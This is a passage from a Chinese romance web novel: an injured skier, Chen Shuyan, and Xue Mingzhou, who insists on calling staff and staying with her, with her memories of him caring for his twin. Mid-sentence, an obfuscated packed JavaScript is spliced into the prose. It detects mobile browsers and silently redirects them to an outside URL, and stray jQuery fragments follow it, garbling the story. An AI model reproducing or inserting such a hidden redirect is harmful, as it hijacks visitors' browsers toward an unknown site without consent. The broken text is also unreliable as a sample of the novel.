陈书言看他沉默的样子,不知该说些什么。她把腿收回来,试着转移话题,“那个,时间不多了,咱先离开这儿吧,还有好几个点等着打卡呢。”
薛明舟皱着眉抬头,“都伤成这样了,还想着比赛?”
“因为还没有结束啊,”陈书言摊开手,理所当然地回道,“徽宜他们都还在继续,我们若是一直坐这儿,不就拖累队友了吗。”
她站起身,简单试了试,发现自己可能滑起来有些困难。
“要不这样,”她为难地挠挠头,“剩下的几个点你去,我慢慢滑着回去...”
“不行,”薛明舟想也没想否定,“我跟你一起。”
“再说,你这个样子还怎么滑?”
“实在不行我让工作人员来接呗,”陈书言说着说着,自嘲笑了下,“他们不会拿担子床来抬我吧,天呐,真是太丢人了。”
薛明舟没接她这话,眼看她站着都勉强,他让她重新坐下,不容置疑地告诉她自己的决定:“我用对讲机让工作人员现在就过来接,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879411|159733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
因为不清楚你究竟伤得怎么样,还有身上各处。所以等到了医疗站要进行全面检查,看看韧带是否伤到、有没有骨折。”
“比赛是次要的,我陪你一起去。”
陈书言错愕,但看他态度严肃,她想说什么,最后还是选择了讪讪闭嘴。
在等待的时间里,沉默弥漫在两人之间。
陈书言觉得有些不自在,动了动身子,随便找了个话题,“你好像,一直挺会照顾人的。”
她记得初中的时候,薛明渡玩单杠不小心摔下来,把右手摔骨折了。正是学业繁重的阶段,右手不能动就意味着很长一段时间薛明渡都不能正常学习。
按道理讲,这应该是一件令人焦虑且沮丧的事,可薛明渡面上苦兮兮,实际却开心坏了,毕竟是一个正大光明偷懒的理由,他想想几个月不用做作业就觉得生活美好。
于是他上课翘着二郎腿,心情好时就听上两句,心情不好就呼呼大睡,作业隔三差五交一次,以此表明自己身残志坚的心。因为他的家境和他的伤,老师拿他没办法,只能睁一只眼闭一只眼。
那段时间里,他课本上的笔记都是薛明舟帮忙写的,怕他荒废太久跟不上,薛明舟会在周末给他补课,每天中午在食堂,也是薛明舟帮他打饭,给他拿勺。
陈书言现在都还记得,只要薛明渡皱皱眉不开心了,薛明舟就会去替他解决问题。
往事太多,陈书言只是随便一回想,脑海就能浮现很多很多的画面。
这也正常,毕竟她、徽宜,薛氏俩兄弟,几乎从小一起长大,童年和青春的画卷里,处处充满着彼此的身影。
想到这儿,陈书言歪着头,静静看着守在身边的男生。
这还是她第一次这么仔细地看他。
因为是异卵双胞胎,所以兄弟俩很好分辨